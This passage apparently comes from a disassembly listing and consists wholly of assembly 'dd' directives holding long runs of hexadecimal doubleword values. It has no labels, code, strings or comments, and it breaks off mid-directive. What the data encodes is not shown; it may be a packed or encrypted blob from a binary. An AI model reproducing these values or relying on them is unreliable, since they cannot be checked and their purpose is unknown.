7C5ACAEFh, 5DBE7E27h, 0DEB09D96h dd 6D169E04h, 72AC3170h, 12CFEB00h, 0F30156E9h, 88268B0h dd 9BFC3DDAh, 29AE5CBDh, 0FB2DC576h, 99AC2D21h, 68587C87h dd 0D9F1AB41h, 1C57A38Eh, 0E5BCFE2Fh, 0C04BC62h, 0EF6DD368h dd 0FC9F4B4Eh, 0E8D5C53Bh, 13168B88h, 0FC224C7Fh, 0D5F7A104h dd 7B04A22Ch, 0F6C042Eh, 7609965Eh, 0B7A0DF66h, 2B236820h dd 974B5FB0h, 471622B6h, 8B34E23Ah, 62299051h, 318ACBD8h dd 2DD296FFh, 95C2D1E9h, 2FEC987h, 415E7B43h, 64D3501Fh dd 385FDCACh, 0C130E90Ah, 68520CCEh, 951670C8h, 0E9D00DD6h dd 24BA9C0Ah, 549713BEh, 0E045A1Fh, 0EE5D3024h, 9513AAF3h dd 0A1DDBFC7h, 0A3AEDC3Bh, 45E34A5Eh, 2CFEBA03h, 0D1C85980h dd 6E54CAE9h, 0EE73299Ah, 0A0A2F5F6h, 3343F322h, 0A0EF3104h dd 0F516283Eh, 62B89F09h, 2259E23Ch, 0B876D927h, 73DC6804h dd 14FDC7D8h, 0F754403Ah, 0B0039E00h, 3E5EE9D2h, 0B0D13080h dd 2CB32CA1h, 962EB928h, 42ECC342h, 15E2112Eh, 0BFB44125h dd 4DB515E0h, 64096907h, 15846C6Bh, 30680243h, 21467769h dd 0BDAA5254h, 0E013920Fh, 54F54B0Eh, 4F2989E0h, 0F4277A54h dd 35FB709Dh, 25096BA4h, 5513DD70h, 180C310h, 0AA097526h dd 3E82A808h, 0DEF8F382h, 0B561D895h, 420D00CAh, 2B06011Eh dd 26E7E435h, 91E9758Bh, 29819B68h, 0D231E547h, 8FFEE8FFh dd 18605C48h, 6E12C53Dh, 0A97E0701h, 3A760932h, 97A2D1E9h dd 0BB8CE049h, 0B01F2E05h, 9EC43135h, 3EF8A0AAh, 0F2BD98A8h dd 26683413h, 0A21C0EFh, 0E9F0F143h, 1EC89726h, 15485E83h dd 3670D101h, 0D4CB800h, 0D1408E24h, 0E8C10430h, 59AE205h dd 1FDFB8Fh, 7822D9C2h, 0B8683F8Ah, 65EF4B03h, 5E8BEA6Ch dd 823E5850h, 0F40A0257h, 0BFE86C6Ch, 684061C2h, 4F266ECCh dd 0C8188A71h, 0BC80E90Dh, 0AAF616C8h, 0A6A9BB87h, 93D5911h dd 28EF6856h, 64AD1D31h, 305F5B64h, 6512F9BCh, 0BF334466h dd 2031D902h, 4B4EF096h, 11FF3731h, 82A7747Eh, 300CCD8Bh dd 5A2C0023h, 9350558h, 0E912E595h, 4130AF85h, 0BD52F388h dd 0C610E1FCh, 5B5AF101h, 32D530E9h, 79F94FE4h, 710BFF5Ah dd 4A05F09Bh, 84E8B366h dd 0DDE114E9h, 0EEE3853Fh, 957DCC3Dh, 0EA95AF13h, 4D5759D7h dd 0B7E7D0F9h, 35013650h, 78725887h, 0CCF41C25h, 1C049059h dd 0BCB95108h, 29A99C87h, 0C7A1CBC8h, 51ED2AE9h, 6674A185h dd 0B1BF10F4h, 942F9B58h, 1026C422h, 5D54B098h, 0A4C3C0BCh dd 222B278Bh, 0B9818AD1h, 1B8E14FDh, 0C46F7FF4h, 0BB41012Fh dd 29F07229h, 0B88928Fh, 679E1377h, 73094DCh, 1D72CD81h dd 0BE7AC739h, 0A6189204h, 67CB804Dh, 6348975Eh, 0BFCC039Eh dd 4E5790B8h, 1585A2A4h, 7375C301h, 0F257D72Ch, 0C648D75Ah dd 4A4FA5E9h, 1AC0441h, 0A7A5E06h, 508C398h, 0B9500FE9h dd 65D925E5h, 1BFD2DD2h, 0B10C0466h, 0AE3D2C56h, 431DF7C1h dd 0C0E56782h, 0D5A078h, 0F101B4ABh, 304C9612h, 2160F3FCh dd 77FA00F3h, 0FB4F4BBFh, 921232Ch, 0EBD158C3h, 9863D580h dd 3127DA3Fh, 758D92F3h, 16C943D3h, 0C66F25C8h, 556B39D7h dd 9D262F70h, 0C9CF9A59h, 0EC5ACBB6h, 9238CBFh, 4625F4Dh dd 2A6B15A9h, 0AE802D0Bh, 5482769h, 59E5231Dh, 0BAF29D6h dd 737BFD44h, 9085317h, 718B1873h, 4B9CA792h, 313B7080h dd 0C074BF58h, 5AEF810Bh, 1158175Dh, 954E201Ah, 2DE11C55h dd 1C52E9F7h, 158D5F20h, 710A0668h, 449EE559h, 0EE57E9D9h dd 1A84EA94h, 0FBC577FFh, 20565C54h, 2501A4B2h, 48ED662Dh dd 4BCD8F7h, 0DFC34A04h, 9DE4BE03h, 772A12B3h, 0BB0D0053h dd 0E9415244h, 180F1625h, 5BFC68AAh, 0AB014E31h, 82CAFA12h dd 0E9849459h, 1246ADD4h, 15CC76B7h, 9D2979AAh, 64256F00h dd 47171A09h, 0B0855CE9h, 0D40AF7BFh, 44D32502h, 39BA00A3h dd 814E7416h, 3D139DF2h, 67B84276h, 8799B526h, 8240478Fh dd 53DF9325h, 0B7E94156h, 0D1F7C21Ah, 0F9F68B53h, 5D7A195Fh dd 0A8468688h, 9099F20h, 0FA23DCh, 1373BAF2h, 0B460B749h dd 0CAB73884h, 5ED07548h, 7607A50Fh, 0E863E47Eh, 610B20FBh dd 357C402Ch, 4693920h, 9224C0BFh, 51D0FE4Ch, 2050C7EBh dd 0C0952D83h, 3B1F7FCFh, 0AE5A632Fh, 1326766h, 4D8FB9EFh dd 7CF9896Fh, 4B16D247h, 9028B0h, 813BDC5Dh, 4840B3CEh dd 427654Ch, 72052BFCh, 0FF281F0h, 68C26D28h, 0FA42D204h dd 0CAC9E9C4h, 40EBE22Eh, 7C18A383h, 0E9645B27h, 1B516ECEh dd 480DBEC0h, 61B05A61h, 0DE2D027Fh, 590FDB5h, 50005191h dd 0C001B652h, 48008EEh, 8AE98CF6h, 1C49B9C2h, 94569203h dd 0E7258AFCh, 0D6211001h, 0D0A605Ah, 8C673C0h, 4C738063h dd 0F5103B52h, 672D0146h, 150CE4Ch, 7047F71h, 5AA63588h dd 29B4CACh, 677CB092h, 5F2A4C49h, 0C98231EAh, 0A3906EB4h dd 0BEF441DAh, 2089AD57h, 2538E67Fh, 13F44C1Bh, 588BDFEBh dd 141F69DDh, 57493807h, 31A8FDE1h, 819C0166h, 0C90079D6h dd 7710F752h, 0D12AFB9h, 14BB59F6h, 1406A3DCh, 0F4B12EF8h dd 2FE64FA1h, 5325F3D1h, 0B7DE5A02h, 91073ADh, 625B5BDFh dd 7911C701h, 0CFFD6CB3h, 43EE4EBAh, 20BE93DFh, 9A4B18A8h dd 0E1812100h, 4FEE0C92h, 0AE274AE9h, 6F682230h, 4DE5BD3Dh dd 4F7E6A27h, 79E88A0Ah, 0CBF89D9Ch, 78E9DD8Bh, 665224E5h dd 97DE5672h, 807F59DAh, 4F7A5E25h, 1A8F626Eh, 58039113h dd 4E85BE21h, 5AC49F5Dh, 96102FA2h, 9FBB0354h, 0D3696475h dd 0EA554E15h, 2098A746h, 0ADA5598Bh, 9CD55925h, 3F30B7A2h dd 98979521h, 0B50397FCh, 80026767h, 825142C3h, 0FA7A0583h dd 49B80B6Dh, 38F62D1h, 0EFDE69A5h, 20C65340h, 0B0108074h dd 48A2FC43h, 4381E913h, 3042FC58h, 91167C18h, 12AB6DCBh dd 0F112AB2Dh, 32CE8EEFh, 449064C3h, 1513099Ah, 0FA8563ABh dd 814BB84Bh, 2A3106E1h, 2F9E52F1h, 0EB98BB88h, 685D26CCh dd 0B11C0704h, 89BA5E10h, 0BC30921Eh, 78123E92h, 2AF49D77h dd 60364DD3h, 0E9F201E0h, 0C85D434Eh, 0CF125D93h, 0A99D64BAh dd 570901D8h, 0E490E91Ch, 3335B68Eh, 0AC5FD904h, 0A9E74FCDh dd 7E02457Ah, 571A2AE6h, 0A251C754h, 0D132940Bh, 0F5C1C76Bh dd 0C5C4B807h, 91115158h, 2B4F75AAh, 69BFAD84h, 56F03F3Eh dd 0B474065Bh, 0B5FBF6Ch, 6AB0DFA1h, 5E7864B9h, 8887C126h dd 58C13EE2h, 0B37EA324h, 4F5A79D7h, 8BBE2312h, 65F95FC1h dd 0B0E6AAF5h, 17CFBED3h, 5EB78676h, 0BB5D6B39h, 5EB42746h dd 5B1D918h, 7B292B2Ch, 0DB1A4E03h, 0E0EEB36Dh, 4F691511h dd 8229AA31h, 0DCAF9B44h, 1C05D414h, 0D687ED8h, 2BE97590h dd 0E37AE1ACh, 98E293CAh, 0A0C0AB92h, 698D4C58h, 85590240h dd 0F8805345h, 7A2A3622h, 120AB85Dh, 458E47E9h, 22DEAF8h dd 0EB305AD0h, 508234D1h, 6A4480E9h, 0B9E475D0h, 0A24F77F6h dd 762577A6h, 5695D158h, 50DC7AF6h, 6E03DEC8h, 422C852h dd 0FE43670Ch, 416DE91Ah, 140CA008h, 0D798594Bh, 1361B656h dd 4857045Bh, 6F2BA5B8h, 740162D1h, 7579F404h, 88AACA4Ch dd 6294023Ch, 0DF7D71h, 0B86720BEh, 0B4E92C4Eh, 0E3898BD9h dd 95CBEE7Dh, 5FCCA368h, 5F895780h, 8A014BDFh, 82536A25h dd 0BD00D659h, 4EE20B05h, 4443A429h, 9B81B05h, 67EC3EE9h dd 0CAC4F84Dh, 7C68056Dh, 0BA7298h, 2F5F65D8h, 50E9D131h dd 9DC6114Ch, 767254C5h, 10AFF5C5h, 0C60082Ch, 1ECD62B4h dd 8B055F03h, 8B01A425h, 70BFDC8h, 0F2A07F59h, 4FEF0620h dd 0C4F7FCC0h, 1329169Eh, 0D0D8E9D7h, 1888E712h, 957DD23Dh dd 4CADF363h, 73B73821h, 7D8AE2F6h, 189D1A64h, 4FE9561Bh dd 2CCBC1EFh, 28F8F05Bh, 271ED84Ch, 0A724DBA1h, 6A52D5DAh dd 0BDE42035h, 82EDA8D0h, 6B687112h, 858CD956h, 0A41C3CE9h dd 290564DAh, 0DA2147F6h, 29E93E98h, 0A4F387ADh, 9FF2CC6h dd 0CD7FD606h, 0E57027B7h, 0EA3B9862h, 63B0555Dh, 0AD7DF2Eh dd 4A43891Fh, 0EAA47C9Eh, 439524Dh, 2019B1EFh, 1C18AF5Ch dd 271BC212h, 0AF612E6Fh, 98C47EFDh, 0BA1265EEh, 0B443B449h dd 560396A4h, 0E9068491h, 0B7C9D3AEh, 5F5F43D0h, 40FF81D0h dd 87A50A8h, 723E0954h, 0E8D60164h, 10340CC8h, 95111C36h dd 94BF325Ah, 20E9180Eh, 0C1FE0AC6h, 808004CEh, 59CF28E3h dd 0E7E0E566h, 0F0F7F657h, 3A237004h, 5B042CF8h, 875CB353h dd 0E86B1Fh, 5582F9EEh, 7CBD4748h, 0FC652727h, 0F2AB02C9h dd 0DF624423h, 0E912215Fh, 486BDBE1h, 6009FDACh, 85B7E530h dd 57B0E3E9h, 7B84E596h, 32686DB4h, 61270E59h, 78B790F8h dd 2C334F48h, 219C1E78h, 65836806h, 0B89E2039h, 8B60E4FEh dd 0D226BF0Ah, 297516E7h, 1D8C80EFh, 9C4E859Bh, 0CF35DDA9h dd 0ABF8004Bh, 5D7A0B36h, 0A33577Dh, 4EBC5B24h, 2B67B451h dd 261B6462h, 8292D628h, 0CA208BB1h, 41DC59DFh, 0C15CF280h dd 0C77B6CD0h, 0D800482Ch, 0C47EE368h, 1152E53h, 0C8B8840Fh dd 53FA902Eh, 0D7C5C68h, 59E94F0Ch, 3581AD2h, 508E0C1h dd 60A8CB04h, 79DC789h, 0EA0CC89h, 60B9E920h, 66EFE5DDh dd 0E61373B7h, 9B065B57h, 69DCC3D5h, 0EEF7955Dh, 0E8309DFCh dd 0E8958E8Fh, 529BAA9h, 0D12E116Dh, 0D62480EAh, 7E2F8075h dd 9291A009h, 907936A0h, 0BDD75AABh, 0F4FE1893h, 9EEA6846h dd 11A56FD9h, 44C8204Dh, 0D60231Dh, 41CE800Ch, 0E174B7B1h dd 59495813h, 0FF3EA95Eh, 0F02089Eh, 5368C8B7h, 0D234901Dh dd 607E978Ah, 0DAACCEE5h, 3AB5B802h, 114377C8h, 0A198EAF4h dd 308D415Fh, 254B2D58h dd 55E321ECh, 0E0E9EE09h, 0EC794AAFh, 3713BF54h, 0BE0097B2h dd 7A21650h, 1DC6817Ch, 0A89FD441h, 0C12114F5h, 0E02E6FF8h dd 3F6233F1h, 0BF5CB77Eh, 71996841h, 5EDAA63Ah, 0E90B41B7h dd 0BA593307h, 92D52A6h, 773E7795h, 73F76817h, 0E9F0EFB8h dd 2DA9697Fh, 80972F5Ah, 8807B734h, 0F2E72CBh, 936D6F57h dd 5A54988Bh, 0CC555337h, 6EDB5690h, 7F9D0BBDh, 0C04CE0Bh dd 4A44BDDEh, 0F8CD25EBh, 0BDC2A459h, 0D0E0D48Fh, 0FFDD9CFBh dd 4326F6A5h, 353531FEh, 0E3AE2834h, 4013398Ch, 0ECA0181h dd 4A1C6C6Eh, 0D5866157h, 0D9996F47h, 0CEF4A1E8h, 0ED20C131h dd 0CF314D83h, 617240B1h, 0B572A739h, 56252077h, 1C05248h dd 1B6C455Ch, 90D310BAh, 0B0F23168h, 128E96E7h, 673CFF5Eh dd 4567A001h, 87028289h, 2905A0E0h, 0FE0313ABh, 0D2EEDE52h dd 4FD4918Ah, 8BBBFD2Fh, 2CD09BF7h, 0F5318A5Fh, 2F3270ABh dd 40DF2D00h, 0D15F1071h, 4E68E00Bh, 3EDEB127h, 5F64FDFCh dd 0C03A8452h, 0ABE4F246h, 984480Fh, 86532AD0h, 25CC5688h dd 0DCA582FFh, 12985523h, 0CE2984Fh, 168C6CBDh, 0A8E5D4E9h dd 7048DE7Fh, 9768046Fh, 201CCD76h, 1E14E68Fh, 26CB1764h dd 2B04EB84h, 0D5BA40E9h, 68B2EFAFh, 9ADC887h, 4D38F955h dd 0F3E93A07h, 562B9B5h, 130F3D56h, 0AD4E81FAh, 0C93181C2h dd 17F42A8Ch, 16B20220h, 16EE32Dh, 7B59D5D4h, 0E1E6D878h dd 19BD6A1Fh, 3E2CF600h, 4AE93B45h, 3F76A114h, 0DC2ABA33h dd 7095209h, 7B50FC61h, 60FC6C49h, 96C50C20h, 9C25161h dd 9C789D20h, 2D059EA4h, 3EE18558h, 0B88928h, 3A77238Bh dd 0E360F635h, 0D4F2BDh, 715A5043h, 9141740Dh, 0F2353F07h dd 0F859D74Dh, 2DC3902Dh, 280BAB09h, 67104157h, 0B17B8D75h dd 0EEE89ACCh, 561A7522h, 818CED61h, 42C32D0Ah, 0E93A4016h dd 23E981ECh, 0D43B2C99h, 40812CDh, 0D1419Bh, 782EE305h dd 832D0509h, 84B708FAh, 8876A031h, 0BA82CA62h, 685602CDh dd 300960C9h, 4082432Dh, 2F795EE9h, 1A090259h, 0FDD4CC7Dh dd 90B0DFDAh, 3BA9EA4h, 44355F4Eh, 0BB661780h, 1E397413h dd 1E88F381h, 0AF18B455h, 421BE8C1h, 2E807FFAh, 7F7BE902h dd 0B60D19Dh, 57FC9D5Fh, 0D9F07FDAh, 0BDAF1C20h, 650E04DAh dd 0DFB27C86h, 6211AB82h, 95D85541h, 685B0880h, 145FB325h dd 0EA595EC0h, 8086223Ch, 3516B605h, 56EC042Bh, 46600741h dd 871A136Bh, 0EDFFF020h, 7EBF1470h, 8BE9F077h, 0B2D1B55Eh dd 0C21068F2h, 5F2545EEh, 0A0985477h, 0ED0CD608h, 7C592C0Bh dd 57FE7A42h, 9782E37Bh, 6015CE54h, 255C6F59h, 0ADD11B8Dh dd 2700C347h, 4511F17h, 0A67F15B9h, 1CA1AF7Bh, 0B2241FFh dd 1704B204h, 15B8E3E9h, 0DD0F803Ah, 4A4BE830h, 0D22E714Bh dd 0DDA573BFh, 50FECF94h, 2A13ABABh, 50F2ABEBh, 7679B44Ch dd 80476056h, 2E903652h, 4B0A2690h, 0FA403223h, 0DE4A04BFh dd 0A0EA640Eh, 3B77C27Bh, 10DBB09h, 0DC5C80EAh, 981DCD59h dd 13380199h, 0BBE94B10h, 7CBA2AC9h, 534A5CFFh, 2F93D408h dd 5E0268DCh, 0C11BBA73h, 53008332h, 90F0A1B3h, 5B3AD84Dh dd 37CBE880h, 2A51282Ch, 476EC9Eh, 44E9CDE1h, 0C7E1EC2Bh dd 0D50B433Dh, 0E0602732h, 6CB70B08h, 16F820CAh, 80BDBDFCh dd 26982DE4h, 85FA4BB2h, 0D5F70FE2h, 5860FA12h, 0B67F8268h dd 0AA427A17h, 0AE58CED6h, 3DE1A5C8h, 0B4C187ADh, 7BD02E31h dd 58992B6Bh, 0B9000160h, 0E9DA2A39h, 59B79F41h, 63C78BBBh dd 0BB1444C4h, 3ACC5A01h, 772409EEh, 0BA27554h, 0C0007ACEh dd 0E6D003E8h, 5B60552h, 105AF028h, 1610CBB0h, 0D680AB4h dd 28CFA843h, 0DFB709C7h, 5F35504h, 1EEEFC1h, 0C6707379h dd 2FA82171h, 27E948F4h, 0FCD2A1E7h, 89436C0Ah, 872DB411h dd 92CA5791h, 6E6C04CBh, 5DF18CEAh, 2D89F39Dh, 2576BE5Fh dd 7D15C6C4h, 0D60A5793h, 7EAFF88Dh, 0D978A765h, 73329D77h dd 0A9D5246Dh, 0C1167DCDh, 48A95527h, 3B71D817h, 0EF01499Dh dd 45300F7Ch, 662AF301h, 513CD239h, 7BAF1354h, 84FF24EFh dd 93CBC2A7h, 8DEE5C04h, 0DAA83F64h, 0E29BFAB4h, 15DBDC6Bh dd 0D997C24Bh, 0F12962DFh, 7942A27Eh, 0AA5B0578h, 942F8FF7h dd 62C2E6DEh, 90194882h, 3C768248h, 95962Ah, 70240D01h dd 26F8F704h, 4E8091CAh, 6130E3C0h, 49983E29h, 28402409h dd 26CE561Ch, 90F1253Eh, 10CBC114h, 0BF5FDB63h, 6AF29132h dd 89E9597Ah, 5F71C043h, 268FC82Fh, 0B5209542h, 38EE197Ah dd 0DCBF0DB0h, 0D557149Ah, 0FACDB112h, 0F97AA389h, 89A5DD36h dd 470E8190h, 0EAE826CCh, 723592C3h, 41CE36F2h, 1C980E06h dd 0B557BF0Ch, 175B0C14h, 91734818h, 7F01D9EAh, 800FFE5h dd 0B7AE685Ah, 452D9422h, 0DE2CD2E5h, 0F772A009h, 442DC895h dd 5ABBB59Dh, 5D18EE17h, 0A0FF93C9h, 0F6885855h, 808DA289h dd 66501CEDh, 17BDB67Ah, 161BFCD0h, 1DFF672Ch, 256323Ah dd 32F96624h, 1564EF58h, 0B583BEC2h, 0D7E1DAFAh, 3EBE23B0h dd 0F7913AFCh, 6CB8E904h, 0F222CCFAh, 0BCB7401Dh, 0F3AFCD6Ch dd 60B21F07h, 822B4A95h, 0A31B15h, 8003B551h, 9D21F539h dd 0C5807FCDh, 0E9EB28FCh, 62659791h, 2F86973Dh, 13C47CFh dd 82E9EDDBh, 55F48AE9h, 6642A7DEh, 9ABB009Dh, 6814F85Fh dd 0AEE3C1h, 0E97742F3h, 0F4D14B6Bh, 16DB60F7h, 0B028F22Ah dd 0D04B4CFAh, 0DE9432EAh, 6BEBF00h, 0B9645A70h, 66017366h dd 0E9315013h, 313AD50Ah, 7205D1h, 243DA62Dh, 0FB4EB4h dd 3CBC733Bh, 0DBB66CE9h, 3AA83507h, 0AA43D7CBh, 81BB13E9h dd 68F5B070h, 0F07361E3h, 28F1B501h, 203059E8h, 0D74E3B17h dd 0E9FA6CBFh, 5B8F7E25h, 5FC328E3h, 8482F2BEh, 1816210Ch dd 28BFAE0Dh, 17AD1E48h, 0C3E49FBBh, 0D967121Dh, 0D770E30h dd 14DD020h, 0E94853CDh, 6E3645F3h, 0BE047DA9h, 0EFBA519Ch dd 3036728Dh, 44A3825Eh, 0F3FDBD03h, 0B6A28785h, 6922DE76h dd 0A3E590FDh, 5E5582A5h, 566D822Ch, 0C2C0179Fh, 0DC3E209Dh dd 0BECE026Bh, 0E078E21Fh, 357FF5A0h, 0B236DE5Dh, 8326C403h dd 62BDA813h, 0C4CB5BD2h, 7DA40065h, 6D05FDC4h, 1B024923h dd 0A169542Dh, 0E4C07D1Ch, 598097FAh, 16F39B57h, 1F21BD89h dd 77570AEBh, 818A77FAh, 45B850FEh, 7647AF10h, 5509729Ah dd 0E9419E45h, 0B740945Eh, 2642B2B9h, 5E1658Ah, 0C308F0A3h dd 0B0BACA01h, 6022B257h, 74E7FC9Bh, 0BB84D731h, 707A00CCh dd 4ED1B52Eh, 0B607B848h, 87CBC038h, 32017931h, 0E920430Ch dd 414681C9h, 3D979AA0h, 0BA52C0BDh, 1475430h, 0C1DAF75Bh dd 0DA9207EAh, 0D022DA5Fh, 0A4049808h, 85FEB68Eh, 0F78C45D9h dd 8202EADDh, 0D5699A3Eh, 0F504C1F0h, 55197450h, 0A22412EEh dd 288A9386h, 0A7105C58h, 0F75904ADh, 0AC8241D1h, 3CDF8002h dd 9D166730h, 6B43C660h, 310FF502h, 82895EF1h, 77962BF8h dd 2FBE947Bh, 60430D80h, 84692CC9h, 8F6FE304h, 499A867h dd 0EFDD28C6h, 1EB0A580h, 0F456416Ch, 41D645E8h, 0CBEA7F52h dd 6FE4E6Ah, 10490243h, 0D6858D82h, 7FB3B2C0h, 0DFB9CE25h dd 0FFD8E53Ah, 9D01ED30h, 50C58F2h, 0D1422506h, 0D99CBCE2h dd 80F25A76h, 0EFC253BBh, 826AF7A5h, 0B256025Fh, 65138761h dd 7EB6A142h, 0C9E19DC1h, 1ED5AC1Ah, 7DB2CBBEh, 3D835B29h dd 95039587h, 0CE0A26EFh dd 5B2CD955h, 0C8F1519Dh, 5E1DC352h, 6C2B127Fh, 0F71C81A2h dd 0FCDA93D2h, 7454B085h, 521664DFh, 7E07AF13h, 9277595Ah dd 76802A1Ch, 0DD202FF3h, 0BFBC94h, 885266A3h, 0CEFE27EEh dd 65175C5Eh, 6BFE585h, 0EBF89F9h, 507CD4B7h, 0DE97AAA2h dd 7F33627Fh, 5C2DCBE5h, 320899D8h, 5D2102DCh, 650C90F3h dd 5AEEB364h, 0EBDBC4F2h, 0DCF6AF00h, 0E607ECC0h, 850252E4h dd 84BAB3C5h, 0D82E65D1h, 0FC09F10Eh, 0F028C210h, 0EC60278Ch dd 0D20A52ABh, 0F9F4A5EDh, 0C307F020h, 0B9F2D60h, 0F89F84DBh dd 25DEC1B8h, 5516BAD4h, 61779221h, 900CDD7Ah, 0D848BDF2h dd 0A659CF04h, 1E06803Fh, 79588D2Fh, 241B06BCh, 80C08DDh dd 726E3087h, 2563FC06h, 2F724BCh, 3CB6261Ah, 0B19A03CBh dd 5C58096h, 823DE19Ah, 0F2D7F2D3h, 4271142Eh, 1717BB34h dd 6A4B2949h, 0E9C564ADh, 0EF0BFF3Dh, 68C57533h, 267E4508h dd 0CD5A031Eh, 70D9BB8Fh, 59169AD4h, 0D962F54Dh, 0C83E0585h dd 549DDAA2h, 2D5F6088h, 0B8735417h, 9640DFB8h, 35C92D68h dd 7F013E4h, 0E925E892h, 770362EFh, 14B0B84Dh, 52356851h dd 0E9080962h, 0FC256DF2h, 942D01FBh, 94700D10h, 7C070510h dd 93207495h, 0ACC2A0A2h, 2C390476h, 128C3E4Fh, 70FA3C6Bh dd 1E7068C1h, 51E939A8h, 80BB80B5h, 60FE79E5h, 0B35304C5h dd 0DD013076h, 0E9702C5Bh, 0CC50994Dh, 2C5133F7h, 22D2FE3h dd 9F6CBFA2h, 12EE8CD5h, 0D94D1E73h, 11CF5625h, 0D7120838h dd 9836225Ah, 0F001A0A1h, 0F7887E2Dh, 0EBF6B739h, 7DAA0C17h dd 68FB10A1h, 0D1974B98h, 21E96121h, 68B8057Fh, 0E3052D4Ch dd 0C14F3541h, 0EC02A456h, 752CE966h, 7B82E09Ch, 5821CA1Dh dd 754C9809h, 977A6249h, 0FBFD8959h, 74C500DEh, 0E936AA12h dd 0DFA55925h, 857AB4A2h, 0E2E69AA0h, 48670251h, 74024378h dd 644F42F5h, 6417B04Ch, 0F9EE2F37h, 0D55825AFh, 36C64099h dd 0A3E45E45h, 77EE488Fh, 0D9F3F083h, 59CB2188h, 0D7CE4B5h dd 663A6007h, 0AD49F80Ch, 0AE25E9F0h, 0E22FD7C1h, 6ACD1006h dd 0C9BC5F5Bh, 0A9CC82F5h, 2028E6D5h, 0BE077516h, 14AC5E1Ah dd 0EAAF8CA2h, 0AB45C176h, 6B430BE2h, 400EFD9Bh, 0D204C828h dd 122CF3E0h, 427D68A2h, 9FBFE94Fh, 0A490B77Ah, 318CF07h dd 48E20E47h, 425D593Ah, 0CAF4971Ah, 0C6C33D50h, 605E649h dd 1E2B085Dh, 498928CFh, 984EF889h, 35F930E1h, 0A3C1B9CDh dd 21BFAE4Fh, 0D50FA3h, 0BD348758h, 0EA270EC6h, 7419C61Bh dd 0CC23ED3h, 0CC1A1D92h, 8B950A0Ah, 0BEB277BCh, 0B027AD6h dd 401FB14Ch, 305CF0A3h, 90C7152h, 6E7CFC57h, 4E1BC202h dd 55016160h, 80472E2h, 19B2FA5Fh, 40B654DFh, 0F4A6B84h dd 2B11C9ACh, 0EBAA0B6Bh, 76E2DADDh, 72BB01F4h, 6C6FDF1Dh dd 8B2C5093h, 84BD8CE8h, 0C6A42D45h, 4AA12AE9h, 68500233h dd 5F555867h, 9AD884D5h, 16BB6601h, 0B78ED264h, 80325BEFh dd 205F6819h, 79BFA899h, 2C075327h, 0B89810A7h, 445A4E01h dd 86BE7Dh, 2D42F581h, 0BF364AB0h, 9C43ACD5h, 0F306DB70h dd 970F802Ah, 0E6C55921h, 0AAD3C7C4h, 92DE65FCh, 2D714044h dd 35E5668Ah, 6F5DF1F4h, 5C56307Ch, 6E67A5h, 58C6893Ch dd 3A72CE81h, 0F733700Ch, 8030F4D6h, 534BDF31h, 0E98298AAh dd 64BF9A2Fh, 0C5814CD2h, 3227310Fh, 30A59DCBh, 0DFB41C88h dd 21F0E5C6h, 84362EE1h, 0E95E903Ah, 0E1FE8801h, 0A6C82A58h dd 0A5EE4BD1h, 0A12CD4ADh, 1895EB48h, 0BD32BA2Fh, 3ED213DFh dd 7DA9FCC0h, 86125C5Fh, 1CBBD7B0h, 531C2D39h, 27918231h dd 0DBD4D3A9h, 2588EA96h, 0CEE91AFAh, 0F20240F6h, 0D981B60Fh dd 0E23A0868h, 7720EB72h, 9925037Ah, 406BEC34h, 41AA9B0h dd 0E20D061Ch, 2D520A81h, 0AAD1DDFh, 1A093DDEh, 69B85483h dd 0CEAA30F5h, 3F76B759h, 0A4941A45h, 3D1683FFh, 73587524h dd 3B32694Ah, 0B5BCC0E6h, 27F69FBCh, 18F34242h, 8D03BB53h dd 0BA4C7E3Bh, 310B12A9h, 40AC8BDAh, 204C786h, 4FCB2B68h dd 844FB7EFh, 44ABC4CFh, 9B7931h, 757ECB81h, 4F7C7B61h dd 0BF250049h, 25681FC4h, 27CA4F58h, 0F00044CEh, 4884B231h dd 0FB1289B8h, 92ABAC78h, 2180F584h, 76B81E61h, 67F20573h dd 0BE309355h, 0B1219C6h, 28ABC684h, 2B24FC80h, 0CA9F31DEh dd 0FD080939h, 15256804h, 3C8B12E3h, 0EC4074EFh, 0FB32781Ah dd 26C0E72h, 0FB4351B4h, 0ECE91D09h, 7E69467h, 836BAA05h dd 3A41507Eh, 0E92D5038h, 2CFFE3FDh, 81961D0Ch, 9149C7BBh dd 0E9E77A1Bh, 15DFB060h, 55002740h, 0C571AEBDh, 696DE96Ah dd 6E9648ACh, 692C5C7Fh, 0E182A6A7h, 7DEF239Ch, 200C4603h dd 27F7028Ah, 46E967C8h, 63C14AB1h, 4B840208h, 0FC7FE217h dd 42360018h, 0D7356AF8h, 5865301Dh, 11384443h, 2D24D040h dd 0D3474ED6h, 3AD8C381h, 0CA9D25CBh, 5F080021h, 0D698FFE9h dd 0B2DDBF5Ah, 323CA42Ah, 64AB3602h, 0E9FE45E9h, 2D30EAF4h dd 9A30F4D7h, 0BFC9D34h, 9578A358h, 2DC38C90h, 0EB35018h dd 25CCD10Ch, 6257EC8Ah, 7D174210h, 38203914h, 0CD29001Bh dd 3720ED81h, 0DE98442Ah, 0F725F8B6h, 4689638h, 0BED4E4Ah dd 2FC8E982h, 5141847Eh, 3BC46C68h, 2CF0BC43h, 0C96B1D0Eh dd 5B5CE9D1h, 2692103Ah, 82EAF84Fh, 5F97176Bh, 0DA97E7F2h dd 0CA108063h, 4D122E5Eh, 0FE9E17DDh, 538F5797h, 0D9AA7484h dd 75B1F11Dh, 2673602Fh, 0BEBE0940h, 62FB60C2h, 12620E8h dd 820F3F1h, 0E0235E5Fh, 512C48Eh, 0FBBE0944h, 9F2E2144h dd 0BCD46CBCh, 0CCC5BB17h, 6B400746h, 90F8B831h, 43720032h dd 0BE561513h, 0E32568B6h, 348FFF39h, 9571BDE1h, 44DDE530h dd 0C081ACAh, 0AD001709h, 120266DAh, 46E5C4C2h, 0F1484027h dd 0B67718D9h, 75A4CC78h, 2453E330h, 63AA7CF0h, 9E40184Dh dd 0FC82F7DAh, 0C9F35B59h, 70BAE909h, 2D959ACDh, 0AC2B1D82h dd 0E0A610F6h, 0A5CF712Dh, 0B24091F7h, 0A1E3EE05h, 96919FCAh dd 0A5690954h, 0FED9352Eh, 3738DC42h, 215051B4h, 0E97195E8h dd 0A041FC69h, 7AB469F0h, 0DF420957h, 1C7F028Eh, 1DF91E46h dd 0D25B5FC1h, 0C83F06E1h, 0D858E5AFh, 0BFB0070h, 1D054426h dd 1F8B245Eh, 0BA5280F2h, 11EE34F6h, 0F6A0315Ah, 6FCB01E7h dd 834779FFh, 0D2E9D4C7h, 0C58751C9h, 259DAA28h, 81455598h dd 5AE1F625h, 14F5A2CAh, 5FF927D4h, 34993A5Fh, 0AB5B8B6h dd 368C6856h, 8EFBA53Dh, 8807AE2Ah, 142830Ch, 68B2768Bh dd 